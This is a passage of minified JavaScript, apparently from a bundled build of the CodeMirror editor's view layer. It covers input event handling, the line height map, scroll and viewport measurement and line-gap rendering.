State.composing<0&&i.docView.hasComposition&&i.update([])},50))};We.contextmenu=i=>{i.inputState.lastContextMenu=Date.now()};rt.beforeinput=(i,e)=>{var t,n;if((e.inputType=="insertText"||e.inputType=="insertCompositionText")&&(i.inputState.insertingText=e.data,i.inputState.insertingTextAt=Date.now()),e.inputType=="insertReplacementText"&&i.observer.editContext){let s=(t=e.dataTransfer)===null||t===void 0?void 0:t.getData("text/plain"),o=e.getTargetRanges();if(s&&o.length){let l=o[0],a=i.posAtDOM(l.startContainer,l.startOffset),h=i.posAtDOM(l.endContainer,l.endOffset);return Gl(i,{from:a,to:h,insert:i.state.toText(s)},null),!0}}let r;if(P.chrome&&P.android&&(r=Tu.find(s=>s.inputType==e.inputType))&&(i.observer.delayAndroidKey(r.key,r.keyCode),r.key=="Backspace"||r.key=="Delete")){let s=((n=window.visualViewport)===null||n===void 0?void 0:n.height)||0;setTimeout(()=>{var o;(((o=window.visualViewport)===null||o===void 0?void 0:o.height)||0)>s+10&&i.hasFocus&&(i.contentDOM.blur(),i.focus())},100)}return P.ios&&e.inputType=="deleteContentForward"&&i.observer.flushSoon(),P.safari&&e.inputType=="insertText"&&i.inputState.composing>=0&&setTimeout(()=>We.compositionend(i,e),20),!1};const yh=new Set;function By(i){yh.has(i)||(yh.add(i),i.addEventListener("copy",()=>{}),i.addEventListener("cut",()=>{}))}const xh=["pre-wrap","normal","pre-line","break-spaces"];let qi=!1;function vh(){qi=!1}class Fy{constructor(e){this.lineWrapping=e,this.doc=z.empty,this.heightSamples={},this.lineHeight=14,this.charWidth=7,this.textHeight=14,this.lineLength=30}heightForGap(e,t){let n=this.doc.lineAt(t).number-this.doc.lineAt(e).number+1;return this.lineWrapping&&(n+=Math.max(0,Math.ceil((t-e-n*this.lineLength*.5)/this.lineLength))),this.lineHeight*n}heightForLine(e){return this.lineWrapping?(1+Math.max(0,Math.ceil((e-this.lineLength)/Math.max(1,this.lineLength-5))))*this.lineHeight:this.lineHeight}setDoc(e){return this.doc=e,this}mustRefreshForWrapping(e){return xh.indexOf(e)>-1!=this.lineWrapping}mustRefreshForHeights(e){let t=!1;for(let n=0;n<e.length;n++){let r=e[n];r<0?n++:this.heightSamples[Math.floor(r*10)]||(t=!0,this.heightSamples[Math.floor(r*10)]=!0)}return t}refresh(e,t,n,r,s,o){let l=xh.indexOf(e)>-1,a=Math.abs(t-this.lineHeight)>.3||this.lineWrapping!=l;if(this.lineWrapping=l,this.lineHeight=t,this.charWidth=n,this.textHeight=r,this.lineLength=s,a){this.heightSamples={};for(let h=0;h<o.length;h++){let c=o[h];c<0?h++:this.heightSamples[Math.floor(c*10)]=!0}}return a}}class _y{constructor(e,t){this.from=e,this.heights=t,this.index=0}get more(){return this.index<this.heights.length}}class et{constructor(e,t,n,r,s){this.from=e,this.length=t,this.top=n,this.height=r,this._content=s}get type(){return typeof this._content=="number"?Se.Text:Array.isArray(this._content)?this._content:this._content.type}get to(){return this.from+this.length}get bottom(){return this.top+this.height}get widget(){return this._content instanceof pi?this._content.widget:null}get widgetLineBreaks(){return typeof this._content=="number"?this._content:0}join(e){let t=(Array.isArray(this._content)?this._content:[this]).concat(Array.isArray(e._content)?e._content:[e]);return new et(this.from,this.length+e.length,this.top,this.height+e.height,t)}}var Z=(function(i){return i[i.ByPos=0]="ByPos",i[i.ByHeight=1]="ByHeight",i[i.ByPosNoHeight=2]="ByPosNoHeight",i})(Z||(Z={}));const kr=.001;class Re{constructor(e,t,n=2){this.length=e,this.height=t,this.flags=n}get outdated(){return(this.flags&2)>0}set outdated(e){this.flags=(e?2:0)|this.flags&-3}setHeight(e){this.height!=e&&(Math.abs(this.height-e)>kr&&(qi=!0),this.height=e)}replace(e,t,n){return Re.of(n)}decomposeLeft(e,t){t.push(this)}decomposeRight(e,t){t.push(this)}applyChanges(e,t,n,r){let s=this,o=n.doc;for(let l=r.length-1;l>=0;l--){let{fromA:a,toA:h,fromB:c,toB:f}=r[l],u=s.lineAt(a,Z.ByPosNoHeight,n.setDoc(t),0,0),d=u.to>=h?u:s.lineAt(h,Z.ByPosNoHeight,n,0,0);for(f+=d.to-h,h=d.to;l>0&&u.from<=r[l-1].toA;)a=r[l-1].fromA,c=r[l-1].fromB,l--,a<u.from&&(u=s.lineAt(a,Z.ByPosNoHeight,n,0,0));c+=u.from-a,a=u.from;let p=Jl.build(n.setDoc(o),e,c,f);s=Vr(s,s.replace(a,h,p))}return s.updateHeight(n,0)}static empty(){return new ze(0,0,0)}static of(e){if(e.length==1)return e[0];let t=0,n=e.length,r=0,s=0;for(;;)if(t==n)if(r>s*2){let l=e[t-1];l.break?e.splice(--t,1,l.left,null,l.right):e.splice(--t,1,l.left,l.right),n+=1+l.break,r-=l.size}else if(s>r*2){let l=e[n];l.break?e.splice(n,1,l.left,null,l.right):e.splice(n,1,l.left,l.right),n+=2+l.break,s-=l.size}else break;else if(r<s){let l=e[t++];l&&(r+=l.size)}else{let l=e[--n];l&&(s+=l.size)}let o=0;return e[t-1]==null?(o=1,t--):e[t]==null&&(o=1,n++),new $y(Re.of(e.slice(0,t)),o,Re.of(e.slice(n)))}}function Vr(i,e){return i==e?i:(i.constructor!=e.constructor&&(qi=!0),e)}Re.prototype.size=1;const Wy=D.replace({});class Nu extends Re{constructor(e,t,n){super(e,t),this.deco=n,this.spaceAbove=0}mainBlock(e,t){return new et(t,this.length,e+this.spaceAbove,this.height-this.spaceAbove,this.deco||0)}blockAt(e,t,n,r){return this.spaceAbove&&e<n+this.spaceAbove?new et(r,0,n,this.spaceAbove,Wy):this.mainBlock(n,r)}lineAt(e,t,n,r,s){let o=this.mainBlock(r,s);return this.spaceAbove?this.blockAt(0,n,r,s).join(o):o}forEachLine(e,t,n,r,s,o){e<=s+this.length&&t>=s&&o(this.lineAt(0,Z.ByPos,n,r,s))}setMeasuredHeight(e){let t=e.heights[e.index++];t<0?(this.spaceAbove=-t,t=e.heights[e.index++]):this.spaceAbove=0,this.setHeight(t)}updateHeight(e,t=0,n=!1,r){return r&&r.from<=t&&r.more&&this.setMeasuredHeight(r),this.outdated=!1,this}toString(){return`block(${this.length})`}}class ze extends Nu{constructor(e,t,n){super(e,t,null),this.collapsed=0,this.widgetHeight=0,this.breaks=0,this.spaceAbove=n}mainBlock(e,t){return new et(t,this.length,e+this.spaceAbove,this.height-this.spaceAbove,this.breaks)}replace(e,t,n){let r=n[0];return n.length==1&&(r instanceof ze||r instanceof be&&r.flags&4)&&Math.abs(this.length-r.length)<10?(r instanceof be?r=new ze(r.length,this.height,this.spaceAbove):r.height=this.height,this.outdated||(r.outdated=!1),r):Re.of(n)}updateHeight(e,t=0,n=!1,r){return r&&r.from<=t&&r.more?this.setMeasuredHeight(r):(n||this.outdated)&&(this.spaceAbove=0,this.setHeight(Math.max(this.widgetHeight,e.heightForLine(this.length-this.collapsed))+this.breaks*e.lineHeight)),this.outdated=!1,this}toString(){return`line(${this.length}${this.collapsed?-this.collapsed:""}${this.widgetHeight?":"+this.widgetHeight:""})`}}class be extends Re{constructor(e){super(e,0)}heightMetrics(e,t){let n=e.doc.lineAt(t).number,r=e.doc.lineAt(t+this.length).number,s=r-n+1,o,l=0;if(e.lineWrapping){let a=Math.min(this.height,e.lineHeight*s);o=a/s,this.length>s+1&&(l=(this.height-a)/(this.length-s-1))}else o=this.height/s;return{firstLine:n,lastLine:r,perLine:o,perChar:l}}blockAt(e,t,n,r){let{firstLine:s,lastLine:o,perLine:l,perChar:a}=this.heightMetrics(t,r);if(t.lineWrapping){let h=r+(e<t.lineHeight?0:Math.round(Math.max(0,Math.min(1,(e-n)/this.height))*this.length)),c=t.doc.lineAt(h),f=l+c.length*a,u=Math.max(n,e-f/2);return new et(c.from,c.length,u,f,0)}else{let h=Math.max(0,Math.min(o-s,Math.floor((e-n)/l))),{from:c,length:f}=t.doc.line(s+h);return new et(c,f,n+l*h,l,0)}}lineAt(e,t,n,r,s){if(t==Z.ByHeight)return this.blockAt(e,n,r,s);if(t==Z.ByPosNoHeight){let{from:d,to:p}=n.doc.lineAt(e);return new et(d,p-d,0,0,0)}let{firstLine:o,perLine:l,perChar:a}=this.heightMetrics(n,s),h=n.doc.lineAt(e),c=l+h.length*a,f=h.number-o,u=r+l*f+a*(h.from-s-f);return new et(h.from,h.length,Math.max(r,Math.min(u,r+this.height-c)),c,0)}forEachLine(e,t,n,r,s,o){e=Math.max(e,s),t=Math.min(t,s+this.length);let{firstLine:l,perLine:a,perChar:h}=this.heightMetrics(n,s);for(let c=e,f=r;c<=t;){let u=n.doc.lineAt(c);if(c==e){let p=u.number-l;f+=a*p+h*(e-s-p)}let d=a+h*u.length;o(new et(u.from,u.length,f,d,0)),f+=d,c=u.to+1}}replace(e,t,n){let r=this.length-t;if(r>0){let s=n[n.length-1];s instanceof be?n[n.length-1]=new be(s.length+r):n.push(null,new be(r-1))}if(e>0){let s=n[0];s instanceof be?n[0]=new be(e+s.length):n.unshift(new be(e-1),null)}return Re.of(n)}decomposeLeft(e,t){t.push(new be(e-1),null)}decomposeRight(e,t){t.push(null,new be(this.length-e-1))}updateHeight(e,t=0,n=!1,r){let s=t+this.length;if(r&&r.from<=t+this.length&&r.more){let o=[],l=Math.max(t,r.from),a=-1;for(r.from>t&&o.push(new be(r.from-t-1).updateHeight(e,t));l<=s&&r.more;){let c=e.doc.lineAt(l).length;o.length&&o.push(null);let f=r.heights[r.index++],u=0;f<0&&(u=-f,f=r.heights[r.index++]),a==-1?a=f:Math.abs(f-a)>=kr&&(a=-2);let d=new ze(c,f,u);d.outdated=!1,o.push(d),l+=c+1}l<=s&&o.push(null,new be(s-l).updateHeight(e,l));let h=Re.of(o);return(a<0||Math.abs(h.height-this.height)>=kr||Math.abs(a-this.heightMetrics(e,t).perLine)>=kr)&&(qi=!0),Vr(this,h)}else(n||this.outdated)&&(this.setHeight(e.heightForGap(t,t+this.length)),this.outdated=!1);return this}toString(){return`gap(${this.length})`}}class $y extends Re{constructor(e,t,n){super(e.length+t+n.length,e.height+n.height,t|(e.outdated||n.outdated?2:0)),this.left=e,this.right=n,this.size=e.size+n.size}get break(){return this.flags&1}blockAt(e,t,n,r){let s=n+this.left.height;return e<s?this.left.blockAt(e,t,n,r):this.right.blockAt(e,t,s,r+this.left.length+this.break)}lineAt(e,t,n,r,s){let o=r+this.left.height,l=s+this.left.length+this.break,a=t==Z.ByHeight?e<o:e<l,h=a?this.left.lineAt(e,t,n,r,s):this.right.lineAt(e,t,n,o,l);if(this.break||(a?h.to<l:h.from>l))return h;let c=t==Z.ByPosNoHeight?Z.ByPosNoHeight:Z.ByPos;return a?h.join(this.right.lineAt(l,c,n,o,l)):this.left.lineAt(l,c,n,r,s).join(h)}forEachLine(e,t,n,r,s,o){let l=r+this.left.height,a=s+this.left.length+this.break;if(this.break)e<a&&this.left.forEachLine(e,t,n,r,s,o),t>=a&&this.right.forEachLine(e,t,n,l,a,o);else{let h=this.lineAt(a,Z.ByPos,n,r,s);e<h.from&&this.left.forEachLine(e,h.from-1,n,r,s,o),h.to>=e&&h.from<=t&&o(h),t>h.to&&this.right.forEachLine(h.to+1,t,n,l,a,o)}}replace(e,t,n){let r=this.left.length+this.break;if(t<r)return this.balanced(this.left.replace(e,t,n),this.right);if(e>this.left.length)return this.balanced(this.left,this.right.replace(e-r,t-r,n));let s=[];e>0&&this.decomposeLeft(e,s);let o=s.length;for(let l of n)s.push(l);if(e>0&&Sh(s,o-1),t<this.length){let l=s.length;this.decomposeRight(t,s),Sh(s,l)}return Re.of(s)}decomposeLeft(e,t){let n=this.left.length;if(e<=n)return this.left.decomposeLeft(e,t);t.push(this.left),this.break&&(n++,e>=n&&t.push(null)),e>n&&this.right.decomposeLeft(e-n,t)}decomposeRight(e,t){let n=this.left.length,r=n+this.break;if(e>=r)return this.right.decomposeRight(e-r,t);e<n&&this.left.decomposeRight(e,t),this.break&&e<r&&t.push(null),t.push(this.right)}balanced(e,t){return e.size>2*t.size||t.size>2*e.size?Re.of(this.break?[e,null,t]:[e,t]):(this.left=Vr(this.left,e),this.right=Vr(this.right,t),this.setHeight(e.height+t.height),this.outdated=e.outdated||t.outdated,this.size=e.size+t.size,this.length=e.length+this.break+t.length,this)}updateHeight(e,t=0,n=!1,r){let{left:s,right:o}=this,l=t+s.length+this.break,a=null;return r&&r.from<=t+s.length&&r.more?a=s=s.updateHeight(e,t,n,r):s.updateHeight(e,t,n),r&&r.from<=l+o.length&&r.more?a=o=o.updateHeight(e,l,n,r):o.updateHeight(e,l,n),a?this.balanced(s,o):(this.height=this.left.height+this.right.height,this.outdated=!1,this)}toString(){return this.left+(this.break?" ":"-")+this.right}}function Sh(i,e){let t,n;i[e]==null&&(t=i[e-1])instanceof be&&(n=i[e+1])instanceof be&&i.splice(e-1,3,new be(t.length+1+n.length))}const Hy=5;class Jl{constructor(e,t){this.pos=e,this.oracle=t,this.nodes=[],this.lineStart=-1,this.lineEnd=-1,this.covering=null,this.writtenTo=e}get isCovered(){return this.covering&&this.nodes[this.nodes.length-1]==this.covering}span(e,t){if(this.lineStart>-1){let n=Math.min(t,this.lineEnd),r=this.nodes[this.nodes.length-1];r instanceof ze?r.length+=n-this.pos:(n>this.pos||!this.isCovered)&&this.nodes.push(new ze(n-this.pos,-1,0)),this.writtenTo=n,t>n&&(this.nodes.push(null),this.writtenTo++,this.lineStart=-1)}this.pos=t}point(e,t,n){if(e<t||n.heightRelevant){let r=n.widget?n.widget.estimatedHeight:0,s=n.widget?n.widget.lineBreaks:0;r<0&&(r=this.oracle.lineHeight);let o=t-e;n.block?this.addBlock(new Nu(o,r,n)):(o||s||r>=Hy)&&this.addLineDeco(r,s,o)}else t>e&&this.span(e,t);this.lineEnd>-1&&this.lineEnd<this.pos&&(this.lineEnd=this.oracle.doc.lineAt(this.pos).to)}enterLine(){if(this.lineStart>-1)return;let{from:e,to:t}=this.oracle.doc.lineAt(this.pos);this.lineStart=e,this.lineEnd=t,this.writtenTo<e&&((this.writtenTo<e-1||this.nodes[this.nodes.length-1]==null)&&this.nodes.push(this.blankContent(this.writtenTo,e-1)),this.nodes.push(null)),this.pos>e&&this.nodes.push(new ze(this.pos-e,-1,0)),this.writtenTo=this.pos}blankContent(e,t){let n=new be(t-e);return this.oracle.doc.lineAt(e).to==t&&(n.flags|=4),n}ensureLine(){this.enterLine();let e=this.nodes.length?this.nodes[this.nodes.length-1]:null;if(e instanceof ze)return e;let t=new ze(0,-1,0);return this.nodes.push(t),t}addBlock(e){this.enterLine();let t=e.deco;t&&t.startSide>0&&!this.isCovered&&this.ensureLine(),this.nodes.push(e),this.writtenTo=this.pos=this.pos+e.length,t&&t.endSide>0&&(this.covering=e)}addLineDeco(e,t,n){let r=this.ensureLine();r.length+=n,r.collapsed+=n,r.widgetHeight=Math.max(r.widgetHeight,e),r.breaks+=t,this.writtenTo=this.pos=this.pos+n}finish(e){let t=this.nodes.length==0?null:this.nodes[this.nodes.length-1];this.lineStart>-1&&!(t instanceof ze)&&!this.isCovered?this.nodes.push(new ze(0,-1,0)):(this.writtenTo<this.pos||t==null)&&this.nodes.push(this.blankContent(this.writtenTo,this.pos));let n=e;for(let r of this.nodes)r instanceof ze&&r.updateHeight(this.oracle,n),n+=r?r.length:1;return this.nodes}static build(e,t,n,r){let s=new Jl(n,e);return $.spans(t,n,r,s,0),s.finish(n)}}function Vy(i,e,t){let n=new Qy;return $.compare(i,e,t,n,0),n.changes}class Qy{constructor(){this.changes=[]}compareRange(){}comparePoint(e,t,n,r){(e<t||n&&n.heightRelevant||r&&r.heightRelevant)&&Ri(e,t,this.changes,5)}}function zy(i,e){let t=i.getBoundingClientRect(),n=i.ownerDocument,r=n.defaultView||window,s=Math.max(0,t.left),o=Math.min(r.innerWidth,t.right),l=Math.max(0,t.top),a=Math.min(r.innerHeight,t.bottom);for(let h=i.parentNode;h&&h!=n.body;)if(h.nodeType==1){let c=h,f=window.getComputedStyle(c);if((c.scrollHeight>c.clientHeight||c.scrollWidth>c.clientWidth)&&f.overflow!="visible"){let u=c.getBoundingClientRect();s=Math.max(s,u.left),o=Math.min(o,u.right),l=Math.max(l,u.top),a=Math.min(h==i.parentNode?r.innerHeight:a,u.bottom)}h=f.position=="absolute"||f.position=="fixed"?c.offsetParent:c.parentNode}else if(h.nodeType==11)h=h.host;else break;return{left:s-t.left,right:Math.max(s,o)-t.left,top:l-(t.top+e),bottom:Math.max(l,a)-(t.top+e)}}function qy(i){let e=i.getBoundingClientRect(),t=i.ownerDocument.defaultView||window;return e.left<t.innerWidth&&e.right>0&&e.top<t.innerHeight&&e.bottom>0}function Uy(i,e){let t=i.getBoundingClientRect();return{left:0,right:t.right-t.left,top:e,bottom:t.bottom-(t.top+e)}}class Xs{constructor(e,t,n,r){this.from=e,this.to=t,this.size=n,this.displaySize=r}static same(e,t){if(e.length!=t.length)return!1;for(let n=0;n<e.length;n++){let r=e[n],s=t[n];if(r.from!=s.from||r.to!=s.to||r.size!=s.size)return!1}return!0}draw(e,t){return D.replace({widget:new Ky(this.displaySize*(t?e.scaleY:e.scaleX),t)}).range(this.from,this.to)}}class Ky extends wt{constructor(e,t){super(),this.size=e,this.vertical=t}eq(e){return e.size==this.size&&e.vertical==this.vertical}toDOM(){let e=document.createElement("div");return this.vertical?e.style.height=this.size+"px":(e.style.width=this.size+"px",e.style.height="2px",e.style.display="inline-block"),e}get estimatedHeight(){return this.vertical?this.size:-1}}class kh{constructor(e,t){this.view=e,this.state=t,this.pixelViewport={left:0,right:window.innerWidth,top:0,bottom:0},this.inView=!0,this.paddingTop=0,this.paddingBottom=0,this.contentDOMWidth=0,this.contentDOMHeight=0,this.editorHeight=0,this.editorWidth=0,this.scaleX=1,this.scaleY=1,this.scrollOffset=0,this.scrolledToBottom=!1,this.scrollAnchorPos=0,this.scrollAnchorHeight=-1,this.scaler=wh,this.scrollTarget=null,this.printing=!1,this.mustMeasureContent=!0,this.defaultTextDirection=J.LTR,this.visibleRanges=[],this.mustEnforceCursorAssoc=!1;let n=t.facet(Xl).some(r=>typeof r!="function"&&r.class=="cm-lineWrapping");this.heightOracle=new Fy(n),this.stateDeco=Oh(t),this.heightMap=Re.empty().applyChanges(this.stateDeco,z.empty,this.heightOracle.setDoc(t.doc),[new Ke(0,0,0,t.doc.length)]);for(let r=0;r<2&&(this.viewport=this.getViewport(0,null),!!this.updateForViewport());r++);this.updateViewportLines(),this.lineGaps=this.ensureLineGaps([]),this.lineGapDeco=D.set(this.lineGaps.map(r=>r.draw(this,!1))),this.scrollParent=e.scrollDOM,this.computeVisibleRanges()}updateForViewport(){let e=[this.viewport],{main:t}=this.state.selection;for(let n=0;n<=1;n++){let r=n?t.head:t.anchor;if(!e.some(({from:s,to:o})=>r>=s&&r<=o)){let{from:s,to:o}=this.lineBlockAt(r);e.push(new tr(s,o))}}return this.viewports=e.sort((n,r)=>n.from-r.from),this.updateScaler()}updateScaler(){let e=this.scaler;return this.scaler=this.heightMap.height<=7e6?wh:new Zl(this.heightOracle,this.heightMap,this.viewports),e.eq(this.scaler)?0:2}updateViewportLines(){this.viewportLines=[],this.heightMap.forEachLine(this.viewport.from,this.viewport.to,this.heightOracle.setDoc(this.state.doc),0,0,e=>{this.viewportLines.push(dn(e,this.scaler))})}update(e,t=null){this.state=e.state;let n=this.stateDeco;this.stateDeco=Oh(this.state);let r=e.changedRanges,s=Ke.extendWithRanges(r,Vy(n,this.stateDeco,e?e.changes:he.empty(this.state.doc.length))),o=this.heightMap.height,l=this.scrolledToBottom?null:this.scrollAnchorAt(this.scrollOffset);vh(),this.heightMap=this.heightMap.applyChanges(this.stateDeco,e.startState.doc,this.heightOracle.setDoc(this.state.doc),s),(this.heightMap.height!=o||qi)&&(e.flags|=2),l?(this.scrollAnchorPos=e.changes.mapPos(l.from,-1),this.scrollAnchorHeight=l.top):(this.scrollAnchorPos=-1,this.scrollAnchorHeight=o);let a=s.length?this.mapViewport(this.viewport,e.changes):this.viewport;(t&&(t.range.head<a.from||t.range.head>a.to)||!this.viewportIsAppropriate(a))&&(a=this.getViewport(0,t));let h=a.from!=this.viewport.from||a.to!=this.viewport.to;this.viewport=a,e.flags|=this.updateForViewport(),(h||!e.changes.empty||e.flags&2)&&this.updateViewportLines(),(this.lineGaps.length||this.viewport.to-this.viewport.from>4e3)&&this.updateLineGaps(this.ensureLineGaps(this.mapLineGaps(this.lineGaps,e.changes))),e.flags|=this.computeVisibleRanges(e.changes),t&&(this.scrollTarget=t),!this.mustEnforceCursorAssoc&&(e.selectionSet||e.focusChanged)&&e.view.lineWrapping&&e.state.selection.main.empty&&e.state.selection.main.assoc&&!e.state.facet(pu)&&(this.mustEnforceCursorAssoc=!0)}measure(){let{view:e}=this,t=e.contentDOM,n=window.getComputedStyle(t),r=this.heightOracle,s=n.whiteSpace;this.defaultTextDirection=n.direction=="rtl"?J.RTL:J.LTR;let o=this.heightOracle.mustRefreshForWrapping(s)||this.mustMeasureContent==="refresh",l=t.getBoundingClientRect(),a=o||this.mustMeasureContent||this.contentDOMHeight!=l.height;this.contentDOMHeight=l.height,this.mustMeasureContent=!1;let h=0,c=0;if(l.width&&l.height){let{scaleX:k,scaleY:w}=Yf(t,l);(k>.005&&Math.abs(this.scaleX-k)>.005||w>.005&&Math.abs(this.scaleY-w)>.005)&&(this.scaleX=k,this.scaleY=w,h|=16,o=a=!0)}let f=(parseInt(n.paddingTop)||0)*this.scaleY,u=(parseInt(n.paddingBottom)||0)*this.scaleY;(this.paddingTop!=f||this.paddingBottom!=u)&&(this.paddingTop=f,this.paddingBottom=u,h|=18),this.editorWidth!=e.scrollDOM.clientWidth&&(r.lineWrapping&&(a=!0),this.editorWidth=e.scrollDOM.clientWidth,h|=16);let d=Gf(this.view.contentDOM,!1).y;d!=this.scrollParent&&(this.scrollParent=d,this.scrollAnchorHeight=-1,this.scrollOffset=0);let p=this.getScrollOffset();this.scrollOffset!=p&&(this.scrollAnchorHeight=-1,this.scrollOffset=p),this.scrolledToBottom=Zf(this.scrollParent||e.win);let g=(this.printing?Uy:zy)(t,this.paddingTop),m=g.top-this.pixelViewport.top,b=g.bottom-this.pixelViewport.bottom;this.pixelViewport=g;let x=this.pixelViewport.bottom>this.pixelViewport.top&&this.pixelViewport.right>this.pixelViewport.left;if(x!=this.inView&&(this.inView=x,x&&(a=!0)),!this.inView&&!this.scrollTarget&&!qy(e.dom))return 0;let S=l.width;if((this.contentDOMWidth!=S||this.editorHeight!=e.scrollDOM.clientHeight)&&(this.contentDOMWidth=l.width,this.editorHeight=e.scrollDOM.clientHeight,h|=16),a){let k=e.docView.measureVisibleLineHeights(this.viewport);if(r.mustRefreshForHeights(k)&&(o=!0),o||r.lineWrapping&&Math.abs(S-this.contentDOMWidth)>r.charWidth){let{lineHeight:w,charWidth:O,textHeight:I}=e.docView.measureTextSize();o=w>0&&r.refresh(s,w,O,I,Math.max(5,S/O),k),o&&(e.docView.minWidth=0,h|=16)}m>0&&b>0?c=Math.max(m,b):m<0&&b<0&&(c=Math.min(m,b)),vh();for(let w of this.viewports){let O=w.from==this.viewport.from?k:e.docView.measureVisibleLineHeights(w);this.heightMap=(o?Re.empty().applyChanges(this.stateDeco,z.empty,this.heightOracle,[new Ke(0,0,0,e.state.doc.length)]):this.heightMap).updateHeight(r,0,o,new _y(w.from,O))}qi&&(h|=2)}let M=!this.viewportIsAppropriate(this.viewport,c)||this.scrollTarget&&(this.scrollTarget.range.head<this.viewport.from||this.scrollTarget.range.head>this.viewport.to);return M&&(h&2&&(h|=this.updateScaler()),this.viewport=this.getViewport(c,this.scrollTarget),h|=this.updateForViewport()),(h&2||M)&&this.updateViewportLines(),(this.lineGaps.length||this.viewport.to-this.viewport.from>4e3)&&this.updateLineGaps(this.ensureLineGaps(o?[]:this.lineGaps,e)),h|=this.computeVisibleRanges(),this.mustEnforceCursorAssoc&&(this.mustEnforceCursorAssoc=!1,e.docView.enforceCursorAssoc()),h}get visibleTop(){return this.scaler.fromDOM(this.pixelViewport.top)}get visibleBottom(){return this.scaler.fromDOM(this.pixelViewport.bottom)}getViewport(e,t){let n=.5-Math.max(-.5,Math.min(.5,e/1e3/2)),r=this.heightMap,s=this.heightOracle,{visibleTop:o,visibleBottom:l}=this,a=new tr(r.lineAt(o-n*1e3,Z.ByHeight,s,0,0).from,r.lineAt(l+(1-n)*1e3,Z.ByHeight,s,0,0).to);if(t){let{head:h}=t.range;if(h<a.from||h>a.to){let c=Math.min(this.editorHeight,this.pixelViewport.bottom-this.pixelViewport.top),f=r.lineAt(h,Z.ByPos,s,0,0),u;t.y=="center"?u=(f.top+f.bottom)/2-c/2:t.y=="start"||t.y=="nearest"&&h<a.from?u=f.top:u=f.bottom-c,a=new tr(r.lineAt(u-1e3/2,Z.ByHeight,s,0,0).from,r.lineAt(u+c+1e3/2,Z.ByHeight,s,0,0).to)}}return a}mapViewport(e,t){let n=t.mapPos(e.from,-1),r=t.mapPos(e.to,1);return new tr(this.heightMap.lineAt(n,Z.ByPos,this.heightOracle,0,0).from,this.heightMap.lineAt(r,Z.ByPos,this.heightOracle,0,0).to)}viewportIsAppropriate({from:e,to:t},n=0){if(!this.inView)return!0;let{top:r}=this.heightMap.lineAt(e,Z.ByPos,this.heightOracle,0,0),{bottom:s}=this.heightMap.lineAt(t,Z.ByPos,this.heightOracle,0,0),{visibleTop:o,visibleBottom:l}=this;return(e==0||r<=o-Math.max(10,Math.min(-n,250)))&&(t==this.state.doc.length||s>=l+Math.max(10,Math.min(n,250)))&&r>o-2*1e3&&s<l+2*1e3}mapLineGaps(e,t){if(!e.length||t.empty)return e;let n=[];for(let r of e)t.touchesRange(r.from,r.to)||n.push(new Xs(t.mapPos(r.from),t.mapPos(r.to),r.size,r.displaySize));return n}ensureLineGaps(e,t){let n=this.heightOracle.lineWrapping,r=n?1e4:2e3,s=r>>1,o=r<<1;if(this.defaultTextDirection!=J.LTR&&!n)return[];let l=[],a=(c,f,u,d)=>{if(f-c<s)return;let p=this.state.selection.main,g=[p.from];p.empty||g.push(p.to);for(let b of g)if(b>c&&b<f){a(c,b-10,u,d),a(b+10,f,u,d);return}let m=jy(e,b=>b.from>=u.from&&b.to<=u.to&&Math.abs(b.from-c)<s&&Math.abs(b.to-f)<s&&!g.some(x=>b.from<x&&b.to>x));if(!m){if(f<u.to&&t&&n&&t.visibleRanges.some(S=>S.from<=f&&S.to>=f)){let S=t.moveToLineBoundary(v.cursor(f),!1,!0).head;S>c&&(f=S)}let b=this.gapSize(u,c,f,d),x=n||b<2e6?b:2e6;m=new Xs(c,f,b,x)}l.push(m)},h=c=>{if(c.length<o||c.type!=Se.Text)return;let f=Xy(c.from,c.to,this.stateDeco);if(f.total<o)return;let u=this.scrollTarget?this.scrollTarget.range.head:null,d,p;if(n){let g=r/this.heightOracle.lineLength*this.heightOracle.lineHeight,m,b;if(u!=null){let x=nr(f,u),S=((this.visibleBottom-this.visibleTop)/2+g)/c.height;m=x-S,b=x+S}else m=(this.visibleTop-c.top-g)/c.height,b=(this.visibleBottom-c.top+g)/c.height;d=ir(f,m),p=ir(f,b)}else{let g=f.total*this.heightOracle.charWidth,m=r*this.heightOracle.charWidth,b=0;if(g>2e6)for(let w of e)w.from>=c.from&&w.from<c.to&&w.size!=w.displaySize&&w.from*this.heightOracle.charWidth+b<this.pixelViewport.left&&(b=w.size-w.displaySize);let x=this.pixelViewport.left+b,S=this.pixelViewport.right+b,M,k;if(u!=null){let w=nr(f,u),O=((S-x)/2+m)/g;M=w-O,k=w+O}else M=(x-m)/g,k=(S+m)/g;d=ir(f,M),p=ir(f,k)}d>c.from&&a(c.from,d,c,f),p<c.to&&a(p,c.to,c,f)};for(let c of this.viewportLines)Array.isArray(c.type)?c.type.forEach(h):h(c);return l}gapSize(e,t,n,r){let s=nr(r,n)-nr(r,t);return this.heightOracle.lineWrapping?e.height*s:r.total*this.heightOracle.charWidth*s}updateLineGaps(e){Xs.same(e,this.lineGaps)||(this.lineGaps=e,this.lineGapDeco=D.set(e.map(t=>t.draw(this,this.heightOracle.lineWrapping))))}computeVisibleRanges(e){let t=this.stateDeco;this.lineGaps.length&&(t=t.concat(this.lineGapDeco));let n=[];$.spans(t,this.viewport.from,this.viewport.to,{span(s,o){n.push({from:s,to:o})},point(){}},20);let r=0;if(n.length!=this.visibleRanges.length)r=12;else for(let s=0;s<n.length&&!(r&8);s++){let o=this.visibleRanges[s],l=n[s];(o.from!=l.from||o.to!=l.to)&&(r|=4,e&&e.mapPos(o.from,-1)==l.from&&e.mapPos(o.to,1)==l.to||(r|=8))}return this.visibleRanges=n,r}lineBlockAt(e){return e>=this.viewport.from&&e<=this.viewport.to&&this.viewportLines.find(t=>t.from<=e&&t.to>=e)||dn(this.heightMap.lineAt(e,Z.ByPos,this.heightOracle,0,0),this.scaler)}lineBlockAtHeight(e){return e>=this.viewportLines[0].top&&e<=this.viewportLines[this.viewportLines.length-1].bottom&&this.viewportLines.find(t=>t.top<=e&&t.bottom>=e)||dn(this.heightMap.lineAt(this.scaler.fromDOM(e),Z.ByHeight,this.heightOracle,0,0),this.scaler)}getScrollOffset(){return(this.scrollParent==this.view.scrollDOM?this.scrollParent.scrollTop:(this.scrollParent?this.scrollParent.getBoundingClientRect().top:0)-this.view.contentDOM.getBoundingClientRect().top)*this.scaleY}scrollAnchorAt(e){let t=this.lineBlockAtHeight(e+8);return t.from>=this.viewport.from||this.viewportLines[0].top-e>200?t:this.viewportLines[0]}elementAtHeight(e){return dn(this.heightMap.blockAt(this.scaler.fromDOM(e),this.heightOracle,0,0),this.scaler)}get docHeight(){return this.scaler.toDOM(this.heightMap.height)}get contentHeight(){return this.docHeight+this.paddingTop+this.paddingBottom}}class tr{constructor(e,t){this.from=e,this.to=t}}function 